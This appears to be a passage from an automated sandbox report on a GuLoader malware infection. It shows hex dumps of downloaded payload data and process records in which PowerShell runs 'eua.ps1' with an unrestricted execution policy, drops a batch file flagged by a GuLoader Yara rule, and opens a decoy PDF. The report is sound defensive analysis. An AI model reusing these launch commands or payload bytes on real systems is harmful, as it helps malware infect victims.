2023-06-01 10:14:14 UTC	203	IN	Data Raw: a2 99 f1 2c 57 c9 be 8d b3 78 2c 95 27 c0 0c 70 1d b1 d1 df 43 7c ba 30 9d e4 ea 7f 27 4f 29 b4 cc 3c 6a 77 0e dd 44 08 e0 28 d1 d0 08 1b c5 16 90 e4 0b 6b dd 5d 3b 86 be ad 3e 67 e1 32 a8 51 02 ac 0f 69 17 17 7c 92 7d 38 5d 54 62 1b fa 0a f4 c7 0d 5d 18 97 7b 74 82 cb bb d6 35 b7 6f 4c 75 cf 42 28 46 20 e6 05 4a 3c b4 6b 23 92 2c 19 5b da af 21 6f 89 ec 78 e4 ad d3 63 4f 78 cd 71 5e ab 57 93 3b 2b d6 29 78 84 00 e8 9a 75 9d 53 2f ae 01 c5 16 22 0c ac 96 16 83 43 18 8d 6b 4a ed dd 54 56 8d 4f 9e be 85 a0 68 c4 ae cc c5 05 31 03 7c 5d e8 0e 5d e3 32 e3 79 e3 e7 17 77 39 d0 d8 56 60 4f df 2a 7b e2 af 2a ae 60 52 d5 54 0d 52 9a 6d 80 71 3b 5e 99 7f 21 13 d7 bf 43 6d c5 40 d1 cb 81 78 98 b7 fb 3b 29 c3 67 ec a8 5d 5d 56 26 fd a9 51 9b e8 69 a6 46 8d 92 2f 19 Data Ascii: ,Wx,'pC\|0'O)<jwD(k];>g2Qi\|}8]Tb]{t5oLuB(F J<k#,[!oxcOxq^W;+)xuS/"CkJTVOh1\|]]2yw9V`O{`RTRmq;^!Cm@x;)g]]V&QiF/
2023-06-01 10:14:14 UTC	211	IN	Data Raw: ef e2 f5 32 27 b2 4b 10 3d b1 4a 92 b2 8c 61 10 43 58 2e 7a b1 e8 a3 98 15 52 66 02 a2 ea b5 da e2 9b b3 17 f9 b7 50 2d 7e 18 42 fa 21 04 aa 8a 04 be 06 6c b5 19 83 0b c6 73 02 c4 b0 81 08 7e d1 0f 44 d9 74 82 d0 af 6d 21 19 2d 78 db 47 f1 59 2c f9 e1 d3 80 ef 41 a7 58 50 8e 92 8e 00 ad 04 2d 5e cc de 9d 14 38 15 f8 e2 e2 44 e4 07 27 71 aa 20 0a df b9 52 b0 b9 60 df 91 be b3 d3 a4 a4 10 93 ef ac 1c 22 cc bc 09 cc 76 5b ff 61 3b f8 d4 00 70 4a d4 03 65 30 84 e7 08 07 ba dd b8 e1 94 54 e0 4f d0 1f 26 8d 47 fb aa 27 a1 40 bc 4c f9 ac 64 a7 98 34 25 e5 11 b2 37 69 7d 50 95 25 2c 95 8f 42 cd 6a 68 d4 10 18 67 70 fd c3 ae 61 0b f4 a5 3d 72 22 19 bc 67 6b fc d5 b4 86 10 22 54 ee ac ba 8c 21 18 f7 9c 78 e5 75 2f f0 3f 41 a5 45 13 5e cf 9a ec 14 5f db 57 83 80 6a Data Ascii: 2'K=JaCX.zRfP-~B!ls~Dtm!-xGY,AXP-^8D'q R`"v[a;pJe0TO&G'@Ld4%7i}P%,Bjhgpa=r"gk"T!xu/?AE^_Wj
2023-06-01 10:14:14 UTC	219	IN	Data Raw: 5a 4c 86 19 0f 33 46 dc 4d e4 ce ef 88 b7 0f 5b 34 81 f3 7e 4b ed 9b 57 ef 10 71 7d c0 fb 4f c3 4b cb 19 77 84 ed be 5f 41 00 8e 1a 23 ad ef 49 d2 4d a2 97 1c aa a3 e3 d6 4a f8 aa c9 bd aa 31 ea 62 34 1f 8e ad 1b d6 fa 58 00 73 f5 51 f9 fd 0e 60 99 0f aa bb 9b fc f4 a1 38 57 b2 84 3b e9 a6 7b 1f 3c 50 f5 33 31 3e 1c 0b da 10 52 c9 5d 05 4b ca ae 03 7d 0b 93 4f 02 00 3e 34 b1 66 4b c0 7d 52 27 a0 6a 82 c9 80 27 bf 65 9b c8 3c 3a 91 87 eb 83 5b fa 4f 0f 1f 3a d7 31 57 c3 8d 75 bd 27 91 99 ee b1 f7 8b e3 3f a9 e4 53 f0 a9 29 fb 74 35 91 96 01 12 03 f7 b4 7e 62 f8 2b 7a b2 ed 56 de aa ca 5a 65 cc 78 9b ec f9 8b 21 da cb 5f 67 3a aa ed 68 92 9a 33 19 a8 82 49 2a bd 36 97 c6 b0 a7 03 9a f8 7f b1 2e 14 4d 32 4d f5 5e b3 a3 94 f6 7b b8 3e 16 46 88 5d 93 de 95 b2 Data Ascii: ZL3FM[4~KWq}OKw_A#IMJ1b4XsQ`8W;{<P31>R]K}O>4fK}R'j'e<:[O:1Wu'?S)t5~b+zVZex!_g:h3I*6.M2M^{>F]
2023-06-01 10:14:14 UTC	226	IN	Data Raw: 3b 6c 56 25 fa 57 a0 9e f4 f0 2c 59 c5 74 2b 17 93 07 c4 fa d1 70 99 1a 59 2c 0d b3 29 81 37 d5 f5 79 51 38 8e 55 c7 20 79 ac cb e5 67 40 93 f1 7a 99 5d 5c dc b4 88 51 56 82 f6 f3 d6 ab 17 44 49 cb e4 ee 0b 1e fa 92 c1 33 38 77 75 a9 37 96 c8 a5 65 dd 21 76 d4 5f a9 22 9a e1 c9 4f 08 5e 75 e7 86 e8 4e 2c fd a3 a0 73 7d 8b 94 f4 8d 9b ad 15 07 c2 39 c3 77 0f b5 1a e2 b9 10 f3 68 76 be d5 de c5 a7 55 3b 11 37 24 37 cb 23 2a 20 5b 7b ef 2d 61 1c 9b 63 c9 27 b2 c0 94 c1 62 8d 22 93 47 25 0c 54 1b 6c fd 05 41 6d 14 6d 96 6d 95 6b 1b 92 9c d3 d1 a6 90 8a b5 c1 3f 05 88 89 93 e5 9b aa 49 1d d5 66 36 0a 80 e7 3a 32 b5 ee 59 5a ce 63 89 bf e6 26 26 f6 c6 2a 70 44 dd c1 ba 5d 72 08 b5 54 23 ba d9 b2 bf d6 fb a7 a8 ac 0b 31 59 d2 65 c6 d9 6d 69 31 16 82 e1 c3 26 ec Data Ascii: ;lV%W,Yt+pY,)7yQ8U yg@z]\QVDI38wu7e!v_"O^uN,s}9whvU;7$7#* [{-ac'b"G%TlAmmmk?If6:2YZc&&*pD]rT#1Yemi1&
2023-06-01 10:14:14 UTC	234	IN	Data Raw: e0 fb 87 c0 49 dc 32 fc 9d 3a 56 f5 c3 30 0a ad fc da 23 b7 34 53 90 4f 23 57 66 69 e8 14 af d3 44 f1 7d 99 7e 61 85 5f 82 03 3e b7 de c0 43 70 52 76 e9 a6 93 f8 69 48 c8 b9 ea 6e 16 a7 cd ca 82 af 13 28 fa 7b c0 f2 5e 7a 9e 0d 9d e3 17 e5 32 cf 1e 82 45 5e 4d 3d 1a 56 95 4a c0 52 e2 10 51 c4 5a 5a 35 d4 71 84 62 d9 13 b6 b2 dd ef c2 4c df 98 e1 8c c7 22 f7 e1 05 83 71 fa 8e ef 71 49 5f 48 e4 65 3c 12 ab a4 0d 33 83 e9 7b 76 0d be 14 3b ba 3e 33 1a ed 27 07 83 ea 2e ee 16 e9 bb d8 e9 ed 9a bc 65 0c ee 96 06 a7 46 16 b1 a4 ff cf 71 28 f0 3e 7b 9f 62 fd 8c 51 c6 70 51 0c 59 61 4a b3 2a b0 df 85 11 87 6e db 9f db 4c 28 fc fc d2 4d 3d 47 a9 d9 b3 f7 0c 1a 0c 1c 9c 94 67 00 69 9f 21 be c9 b6 b2 7c 6e 13 18 95 4c 26 e8 3f 8e 63 d2 c9 fa 0e de 45 9c e8 24 1b 3c Data Ascii: I2:V0#4SO#WfiD}~a_>CpRviHn({^z2E^M=VJRQZZ5qbL"qqI_He<3{v;>3'.eFq(>{bQpQYaJ*nL(M=Ggi!\|nL&?cE$<
2023-06-01 10:14:14 UTC	242	IN	Data Raw: 7b d9 8a f1 a3 e6 7e f8 77 0e 79 87 74 3e 65 8d 44 bc 6b 7e 50 a6 4d ac ae b6 d6 4c 64 86 36 c8 29 de 7e de 3f 93 ac 46 83 ff 79 89 cb 9e cf 70 c5 7e f8 94 4a 01 59 b6 9c e8 cc b8 98 58 b7 3c 86 c5 b4 60 af 02 fa a6 6f b0 48 d4 d9 9a c5 16 30 e1 90 08 1e 15 f5 f5 9c c6 0e f6 7a 9a df f2 21 dc af ad 28 45 31 f8 a1 35 3a f4 be 63 e6 bc 84 4f d3 36 9c c4 19 d6 ea f9 90 c5 df 4c 80 75 8c f1 66 0c 58 64 d8 77 18 ff 33 60 07 d9 3c a2 2c 56 18 f1 a6 a1 b7 77 b5 f5 d7 3d 83 30 8a 04 f4 63 d7 5d bb cf 9d 4b 81 30 53 8c 52 d8 96 99 90 cb d3 97 3e 6b eb 82 ee b7 3d 12 50 b8 d2 38 4a 98 b7 e7 d4 a9 e0 7e 99 f7 f2 36 2e 2d 5c 1a f7 0c f7 ed c2 46 e4 fa 55 01 dd b2 ae e3 6b 19 46 67 3d 81 ca bb 7d ed 79 0c b2 69 d7 c1 0c 19 14 10 af ea 14 5c 34 5c ff 6f 08 ff 33 00 6e Data Ascii: {~wyt>eDk~PMLd6)~?Fyp~JYX<`oH0z!(E15:cO6LufXdw3`<,Vw=0c]K0SR>k=P8J~6.-\FUkFg=}yi\4\o3n
2023-06-01 10:14:14 UTC	250	IN	Data Raw: f8 fc c3 29 08 48 ec 83 78 9d 4d 5f 44 8e d1 c6 a3 2a 5f ca 58 d7 d8 bf 3e 87 10 d3 b2 53 b0 45 0c fd a5 6d 13 2c c7 52 b6 43 18 31 2d 1f f2 e9 33 26 ce 57 9a a6 58 4a 63 a9 73 bd 9c b9 a2 38 25 d3 43 ed 34 9f 4d 6f e5 53 4a 28 9c ff 37 07 c6 c1 26 9b e7 74 6b a8 b8 a4 6a e1 2c ee 61 16 76 1d 81 82 2b 11 d4 d9 7f 00 40 c4 23 d1 c3 d2 f6 02 e5 b8 11 8a 2d 7c 69 82 bd 33 17 7d e0 eb ca 1a f2 0f 82 81 79 d0 af 23 4b 7b d0 9d 14 87 c3 b9 85 ad b3 b5 5e 57 2a 10 f9 6f 08 02 f6 5c 99 5b 2e 47 3d b3 12 4a fc c8 ab 32 02 be 14 a2 26 66 e7 8c 27 8c 7a 1a df 83 4f f6 b8 be ed d6 be 2e bf 9c b7 9e c4 75 dc 19 14 69 3b 67 c4 99 97 09 91 b8 16 5b 79 c1 da 31 bd 0c ec dc 0e 91 e1 64 e5 23 65 71 b2 3a f4 0d d9 ea 2e e4 7d b8 d7 27 0e 11 b4 bf 76 fc 6a bb 9f 8e 15 eb aa Data Ascii: )HxM_D_X>SEm,RC1-3&WXJcs8%C4MoSJ(7&tkj,av+@#-\|i3}y#K{^Wo\[.G=J2&f'zO.ui;g[y1d#eq:.}'vj
2023-06-01 10:14:14 UTC	258	IN	Data Raw: 10 bb d1 c1 48 91 a8 c5 03 2d fa 0b f8 cf ba 9c 0e 94 7f 87 e0 cc 34 f4 c1 f3 8c c2 09 9b 82 5a 52 fe 18 91 0c dd a5 ac eb bf 9d cc 4a 20 3f 67 3a a5 71 c2 11 7b de 7d 94 f7 81 51 6e 90 77 b8 7c 80 c7 27 5f af bc f8 a4 46 84 95 5c 70 3c f1 a9 ab 22 20 90 a2 1e 02 f0 e5 c9 93 be 4b 31 ba 25 43 31 5a a5 b2 15 d6 c5 bc 1b 88 55 92 3a a8 8c 23 c2 0f 00 3d 6e 77 9e 01 21 d3 cf 02 2a f5 a6 02 8b d0 65 d6 9a 3d ca 12 30 c3 1b 05 a5 9d a2 45 54 7a 9b 58 fc bd 52 a1 5c 99 3e 38 b9 96 f0 9b c9 47 8d ef 9d 21 f9 7e 36 59 8d e8 1f b3 90 de 76 f6 b8 6d a6 c6 6a e1 0f ee 3c 59 93 4d ca 79 90 1c 1e e0 80 b7 3e 24 23 d1 bd 74 13 40 00 be fa e7 a7 94 67 c7 d2 42 56 aa ee c0 fa f6 e7 a5 5a 35 47 18 19 d0 ae 11 bf 75 78 00 56 de 0b 40 88 81 01 62 ff 4c 1d 45 9f b1 58 44 d4 Data Ascii: H-4ZRJ ?g:q{}Qnw\|'_F\p<" K1%C1ZU:#=nw!*e=0ETzXR\>8G!~6Yvmj<YMy>$#t@gBVZ5GuxV@bLEXD
2023-06-01 10:14:14 UTC	265	IN	Data Raw: 95 88 ff 63 a6 c3 a0 2e 7f f8 03 06 15 9d 98 cf b9 9f 48 97 c5 0a 92 3b 30 71 8c 5c 2e 30 9f b6 4d fe 46 a7 94 46 11 f4 2f 30 41 fc cd c8 64 a6 4d b5 f9 e0 dd 7b b2 65 5b a7 ca 7e dc 4b 2b d7 14 63 c2 59 fd 80 4d 48 89 88 bd f8 c0 d5 86 ef 43 1c 13 f5 c2 25 6d 94 c4 99 45 87 b6 09 1e d6 d7 7c 18 31 f8 0e 3f 36 62 0b 87 29 dc 45 43 9e 26 74 40 66 72 9a c8 28 ff 77 3f 33 a1 7a 5d e9 ab 91 b3 11 5f 3c b8 30 61 e0 8f 18 95 82 0a 7d af 64 b8 dc 24 33 d0 11 9b 9f f3 70 a4 dc 71 14 b6 a3 20 07 26 74 22 27 ca 05 3e b2 92 13 86 33 f9 81 55 ed f6 6e cf 96 1a 8a 28 d9 95 7a 2c 61 ff f8 aa e3 9f 70 27 29 58 2e d1 b5 d4 6b b5 fd fe 37 ef 0d 38 91 47 37 5f da 0a d7 c1 5c f7 49 b4 8e d1 66 4b ed ac 08 9e f0 fa bd 4b 96 b2 72 d6 eb 78 ae ed f4 f2 83 65 4e 56 5a 92 2e e6 Data Ascii: c.H;0q\.0MFF/0AdM{e[~K+cYMHC%mE\|1?6b)EC&t@fr(w?3z]_<0a}d$3pq &t"'>3Un(z,ap')X.k78G7_\IfKKrxeNVZ.
2023-06-01 10:14:14 UTC	273	IN	Data Raw: 0a fd 19 3a 6b 74 2f 05 bd b2 a0 f1 ac 41 cb 98 11 58 f3 2f cd 20 13 f2 df 0b f8 8d 1b 98 18 b8 fa 7f cc 2f b9 a9 87 44 67 9c 34 6d 2f 63 c6 4d d7 5b 1b 57 98 72 21 4b 58 cb 0f 28 4d cd 6d e9 74 aa a3 3b 91 f8 65 fc aa 0e 54 8a 2a 21 a2 14 17 d6 86 da 7c 6c e8 94 9a 40 d1 b1 b5 51 e1 3c d3 96 74 3e ba 03 66 4e b3 fc 95 e1 b0 c4 a9 87 e5 f9 a5 df 05 2d e7 1e 5f e8 dd a7 a9 00 39 38 da 19 9f 31 01 93 0a 77 1a d5 4e d5 47 8b 1f de 40 79 b7 ad e7 25 1b ba 80 30 e1 4b d3 6a f0 d6 c0 6b 5a 33 42 34 ed 73 92 a0 1b ee d1 2f a8 f8 4d fb b2 ee 10 58 af b5 8a d6 df 73 99 a2 e3 6b b7 50 82 c2 68 e0 36 92 ec 8d ef f7 0f 7e 76 a2 a1 37 eb a0 13 f2 f8 60 a2 7d 10 16 7c 2e 05 be 4c eb b9 47 d5 da 95 cc 68 c3 d4 f5 36 61 b4 23 8c f1 43 6b ae 80 05 67 e0 8c 6e 29 45 1a b6 Data Ascii: :kt/AX/ /Dg4m/cM[Wr!KX(Mmt;eT*!\|l@Q<t>fN-_981wNG@y%0KjkZ3B4s/MXskPh6~v7`}\|.LGh6a#Ckgn)E
2023-06-01 10:14:14 UTC	281	IN	Data Raw: f9 9c 33 61 b2 bd b6 aa 7c 46 6f 7a d7 82 95 5e 27 b3 f1 d6 4f 42 27 94 ca ae 4a a6 e4 9f 74 7e b7 47 91 c8 4c 12 d7 9e 7b 77 f0 8f 91 d0 9a dc 8e 61 c4 11 ef 9a 7c c5 58 cd d8 e4 2e 08 13 63 fe e7 ef 3e f1 82 c1 a6 74 b2 50 cf cf 97 df 97 2b de f6 13 ab 23 ec 92 19 c4 2a 82 c1 be 5a 29 fc 92 51 5e 28 fc 79 fb 44 83 b8 b8 35 fe d9 e7 f6 2d 1f 27 07 38 9b 00 dc c9 3a cb bd 64 e0 33 cc 28 18 0a db 00 1a 8d 91 32 a0 6f a3 7a 69 32 d4 f2 50 5d ce f6 17 a3 b3 b9 e9 39 3e 23 5a 3e a8 4b 9f 02 8f be b7 5f 59 4a 97 20 51 e3 94 49 99 b5 03 2d 18 45 ee 35 41 3d 45 0c 80 32 c4 51 0c 95 21 f5 61 e9 cd f2 11 7b 55 71 ed 0c 00 8d f6 2e a0 29 88 a5 e8 96 b1 17 25 a2 25 02 9a a9 75 ff 41 9a bb 5c 9b 5d 2a 5d a9 bd 7e 2f 26 fe c8 32 9d 3f 89 70 e6 5e f0 ec 9d e0 a9 44 10 Data Ascii: 3a\|Foz^'OB'Jt~GL{wa\|X.c>tP+#Z)Q^(yD5-'8:d3(2ozi2P]9>#Z>K_YJ QI-E5A=E2Q!a{Uq.)%%uA\]]~/&2?p^D
2023-06-01 10:14:14 UTC	289	IN	Data Raw: f6 08 a7 ee 45 10 70 3b 2f cb 29 d6 9e a2 d6 32 65 70 38 88 e0 d5 55 85 37 a6 86 68 0f 40 40 16 49 af 87 41 c6 55 ae 68 b3 5c 0a 70 64 48 92 70 fe bc ae 05 b3 cd 13 48 ef 88 a8 44 97 65 61 7e 29 c6 6d b0 35 f2 b6 59 cf 0f ae 0e 80 d3 cf ef f5 ea 03 93 2a ba 5a 25 35 d7 08 65 9f aa d5 b9 60 da b3 2d 55 2d a8 ab 5b 33 cf 47 83 ca b2 b2 0d 01 d5 17 f3 f4 38 16 eb 93 88 5a a7 00 06 a6 47 55 65 b3 d3 a8 b5 7a a3 8b c2 00 98 12 ac f8 0b f5 ff b4 ce 27 71 c5 75 44 9f ed b5 62 34 58 00 3f da f5 d6 fc e3 75 42 38 ea 16 4a 9b 86 27 2b 09 ac d3 c1 8f 4e 33 fb e2 1c 1e 94 08 2f 87 0e a6 59 a6 e9 a2 5b 4b ec 70 4e 2a 14 04 c4 f3 dd 30 87 02 a0 19 76 43 1f f2 17 8d 7e d1 25 1c 0e 85 af 3f ab 85 e7 04 31 aa 10 a9 69 6e 74 7d 10 5d 84 b4 73 f9 6e c5 26 63 79 5a cb 86 b4 Data Ascii: Ep;/)2ep8U7h@@IAUh\pdHpHDea~)m5YZ%5e`-U-[3G8ZGUez'quDb4X?uB8J'+N3/Y[KpN0vC~%?1int}]sn&cyZ
2023-06-01 10:14:14 UTC	297	IN	Data Raw: 83 65 9f 0a db b0 af f7 4b 23 87 b6 34 88 f1 9f ca c8 c8 46 8e 09 e0 4b 47 06 68 98 a1 d4 ed 0d ed e0 45 66 ba 1c 3f 70 0f f6 8e a9 42 4a 02 35 2a bc ad 3e 4a 94 7f 35 ce 36 1a f6 2a ed af 21 06 8b 7a 96 b7 66 fe 3e 0d b9 94 15 8d f1 34 2b ea 9b 2c 5d de 9c 3c 9c 30 ed 28 3f 31 af 9c 11 62 a5 05 fc b0 06 f7 aa b0 5f c9 b9 30 88 be b4 9f 54 82 85 a6 a6 e7 e0 bf 3a 77 d0 38 f5 56 2a 09 fd a8 70 27 99 fe 6b ed 7d c6 ea 6a ca 78 57 92 89 c3 55 25 3e 96 b3 b5 08 55 17 fb 6f db 8a c8 d8 e2 3a f1 3d 98 9b 05 9b 10 18 34 31 8d 51 d8 86 3c 63 0e 67 f8 24 41 d1 0f b9 45 d1 56 03 66 a4 a1 13 fa 34 30 e0 c9 d7 65 2b 00 75 f4 c4 34 77 17 50 99 34 25 93 f3 7f 21 de 61 c2 4c 65 df 93 da 61 24 d1 9e 85 de ca b0 75 1d b6 fd d8 58 f1 1f 82 c5 db 90 02 d5 fe ea 32 4e c0 b3 Data Ascii: eK#4FKGhEf?pBJ5>J56!zf>4+,]<0(?1b_0T:w8V*p'k}jxWU%>Uo:=41Q<cg$AEVf40e+u4wP4%!aLea$uX2N
2023-06-01 10:14:14 UTC	304	IN	Data Raw: c5 bd 5d ea 80 6b d7 1b 4c 6a c4 95 03 ec ed ee 50 8a 01 89 94 1c d8 b9 26 0a ce de bc 07 ff 21 37 0d 5f c0 7b 5e 01 f9 6f 2e 21 a3 c5 ce 56 76 85 ab 0f 88 2d 86 f3 af cd e3 5a 85 e2 22 2a 8d b3 5b 9d 0d 17 50 6a ef a8 f4 2d e6 d8 f9 53 e8 e3 ea 68 19 fb a6 28 d1 99 3b 33 59 2c 47 1a c2 72 f7 41 de 8a 2c 37 18 44 c2 bb 48 bb ed cb 84 75 e5 34 68 be c3 a4 04 18 25 77 f6 dd 61 1d 49 68 ff 5e 5e 2d 4e 93 32 92 8e ec 8b 06 96 a8 1e 28 eb 74 c7 ab 91 c0 98 e1 2d a8 a4 5c d3 68 0c 0e b7 c0 24 63 99 ee ac 86 a1 01 fa ff 2b a0 9f d0 b4 7b 63 b6 31 1f da 4b df 72 30 99 28 ec 40 cd 06 2e 06 a7 e8 e1 72 98 be ae 4a 7a 01 3b 61 89 ae 5b 2b c2 48 ce 65 fa d4 75 cf 06 c3 a0 8f e3 c7 8a 53 cc 83 98 c2 e1 c9 f5 63 d5 ee cd 43 4e 2e a4 de 0a 04 4c f6 a2 8a f6 5c 1e 4c a8 Data Ascii: ]kLjP&!7_{^o.!Vv-Z"*[Pj-Sh(;3Y,GrA,7DHu4h%waIh^^-N2(t-\h$c+{c1Kr0(@.rJz;a[+HeuScCN.L\L
2023-06-01 10:14:14 UTC	312	IN	Data Raw: 83 f4 7b ba 44 80 61 bf 29 0b 6e 96 8b f5 23 6d 98 58 cc dd 61 9c df b1 d9 a0 7c 0f 39 6f 01 82 10 09 bd a4 f9 ec 9d 26 fc f5 07 1e 2e eb c4 d2 83 0c 89 8f 7d e8 f0 41 ef 60 ef d8 9f 9d 75 a4 37 04 44 dd 08 ee 8c 5e ed 3a 7f 72 13 aa 2f 2a b2 5c f3 d8 f1 26 69 11 72 d3 d6 db 28 56 f4 b3 2f cb 25 83 90 dc ae 45 6e 1f 6d 10 b3 ae 70 2b e0 7c 8d 99 f0 db 2f ae 2a 78 20 e8 ae 98 2c b7 14 26 a6 64 97 fd 6b 4c fd 33 d6 83 42 62 45 5b 7c 08 a6 1c 66 a3 d3 4a 79 d3 a6 08 57 32 63 08 c9 10 7f 1f a1 e7 3a e5 a2 16 8f 64 34 be cd 1a 13 e0 e6 69 4d ca 48 cd ed 3f 17 00 e3 77 70 00 e3 08 c1 c5 ad 0f fb a1 82 fa d8 7d 24 36 4c 53 42 e5 22 28 0a b1 66 a6 d6 13 3f 5f 07 d5 18 74 b3 90 69 c9 f5 bb 53 8f d8 fe c9 54 56 ff a4 5f e6 93 e7 99 07 f6 5f 5b 7f 31 47 1c ac 93 7c Data Ascii: {Da)n#mXa\|9o&.}A`u7D^:r/\&ir(V/%Enmp+\|/x ,&dkL3BbE[\|fJyW2c:d4iMH?wp}$6LSB"(f?_tiSTV__[1G\|
2023-06-01 10:14:14 UTC	320	IN	Data Raw: 9d a2 e0 69 93 0f 84 c4 d3 8a 0a 05 0a bc dd 19 12 17 90 36 9d 3d dd 1d ad 0a 66 0c 8e db 7c fc 08 17 85 2a c5 ec ea 7e 28 e2 e5 dd 88 8d 80 77 77 42 94 d8 85 cb 1a a7 21 65 73 51 cf 76 d9 58 6f ef 21 93 58 82 d5 87 6c a7 38 db b1 c2 20 80 a5 5a e6 a8 9b 31 e8 bf ea ae 77 c3 69 07 d0 dd bc 2c 6e 19 1d 1a 6f d3 f6 e9 a2 99 89 8d e3 dc a6 2d 7c d5 b3 69 3b 08 95 ba 16 7e de ce 93 76 1e 05 76 3e ec cf fc 60 1f 06 1b d7 5b 18 4a 67 31 ec f0 d5 b6 a1 00 d0 14 6a 3d 56 dc c8 1c 0c 45 dd ae 32 71 42 a5 c7 30 2b c3 8f e1 86 90 42 fa 63 03 a9 9b 34 f7 52 90 eb f0 05 8a 41 67 10 83 8e 07 3e 58 76 5c 3f 6f b1 a2 53 f8 b9 e9 81 97 80 f7 3e ab e9 8c 1a 02 ce e8 f1 2f 10 f5 ac 67 05 59 95 46 57 af 86 83 11 e4 f9 a4 37 b4 1b f9 b0 eb 9a 06 c7 af d4 34 f0 ae a3 84 b9 e7 Data Ascii: i6=f\|*~(wwB!esQvXo!Xl8 Z1wi,no-\|i;~vv>`[Jg1j=VE2qB0+Bc4RAg>Xv\?oS>/gYFW74
2023-06-01 10:14:14 UTC	328	IN	Data Raw: 93 cb 1d f6 87 3b 47 9a b6 de 49 bc 4f 9e e0 31 f2 b6 40 cd 7c 13 5c 69 dc 21 3d d2 1a 81 8f db 8d 57 89 b9 89 3e db 1f 9b f4 7a 19 93 de b0 03 bd e3 ee 03 09 86 87 d2 25 8d 90 51 0e 47 b3 a1 55 1c e7 d9 be a1 12 5f 99 91 d7 0f 43 95 96 33 a0 4d c9 9d f9 98 db 9d 7c cd 3b 80 b6 50 87 e2 27 59 cf ac dc c4 80 bb 95 c5 e3 b2 d1 2b 2c b1 e0 be 38 02 bc 7c 07 1d 8f 04 af d8 6f fa 7b 42 bb f8 9b 73 5e d8 44 a8 21 57 5a 7d 5c d1 3c 35 4a a4 f9 19 bd 2b ef af 3c d8 58 3e b7 16 ad 9b 41 3b 2f 80 19 81 bd 76 b9 14 87 c3 95 37 b2 6d cd c4 25 ba 56 0e df 58 78 26 96 6c 52 bd bd 2b 98 d3 7b 51 96 0c 2d 5e 86 b3 5b f0 ef c8 42 25 6b 91 53 de 9a f3 67 17 bb 7f 64 ec e4 16 c6 38 83 69 df 81 2a 59 15 28 58 c2 13 da 87 77 be 41 4f f4 f2 1c fb bb 1b c2 37 24 f6 89 ed 65 d5 Data Ascii: ;GIO1@\|\i!=W>z%QGU_C3M\|;P'Y+,8\|o{Bs^D!WZ}\<5J+<X>A;/v7m%VXx&lR+{Q-^[B%kSgd8i*Y(XwAO7$e
2023-06-01 10:14:14 UTC	336	IN	Data Raw: ad e7 00 41 12 bd 7c 50 6d 6b 1e 11 31 27 9e 3c 43 2b 1f 77 2a 0d 67 fb cc 09 f7 57 34 1c 4d 75 8b d4 36 52 0d 1e e3 99 cf 29 22 71 bb e2 56 ff e8 7c 16 b6 5c 01 00 80 5d 00 00 80 00 00 1e 0f cb 87 11 d8 ce 66 91 0f 83 1e ca fd 7b 33 d4 7f e9 b7 da 28 31 76 25 66 20 4d 2a 09 6d 6a f7 29 70 38 30 e7 cc 1d 56 17 b0 33 ba 47 46 e1 ec 9d a0 05 65 42 a2 ab b4 e0 13 ea 1b b9 7e c0 33 7e 58 39 6c 7e 61 d3 13 6d 5b 6f a8 d9 37 fd d3 6c c9 23 ba 79 3a 29 2e da 5c 1b 28 3b c5 84 24 cc 97 01 21 da c9 ff 31 41 87 2a e3 b9 92 5b 94 c7 21 85 38 7d f2 f2 e9 b5 52 97 ba 2a 10 a5 f0 45 63 ac 61 92 7f 8d db be 69 26 dc 22 03 c6 76 60 04 8f 8b f7 52 4e ce 96 33 9f a4 55 9b 34 49 5c d0 20 72 4d b7 1e e6 22 1c e5 b1 ae 97 fe 5c 80 89 07 b9 2d 80 c1 45 e6 d1 75 63 4c 68 f8 96 Data Ascii: A\|Pmk1'<C+wgW4Mu6R)"qV\|\]f{3(1v%f Mmj)p80V3GFeB~3~X9l~am[o7l#y:).\(;$!1A[!8}REcai&"v`RN3U4I\ rM"\-EucLh

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: powershell.exePID: 6096, Parent PID: 3452

General

Target ID:	0
Start time:	12:14:09
Start date:	01/06/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\eua.ps1
Imagebase:	0x7ff7b3750000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 5772, Parent PID: 6096

General

Target ID:	1
Start time:	12:14:09
Start date:	01/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: fcab.batPID: 7052, Parent PID: 6096

General

Target ID:	2
Start time:	12:14:14
Start date:	01/06/2023
Path:	C:\Users\Public\fcab.bat
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\fcab.bat"
Imagebase:	0x400000
File size:	344681 bytes
MD5 hash:	9DCA43CB15D97693D2DE73683804C5C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.645631516.0000000007E21000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: AcroRd32.exePID: 7492, Parent PID: 6096

General

Target ID:	3
Start time:	12:14:21
Start date:	01/06/2023
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf
Imagebase:	0x1010000
File size:	2571312 bytes
MD5 hash:	B969CF0C7B2C443A99034881E8C8740A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: RdrCEF.exePID: 7788, Parent PID: 7492

General

Target ID:	6
Start time:	12:14:30
Start date:	01/06/2023
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
Wow64 process (32bit):	true
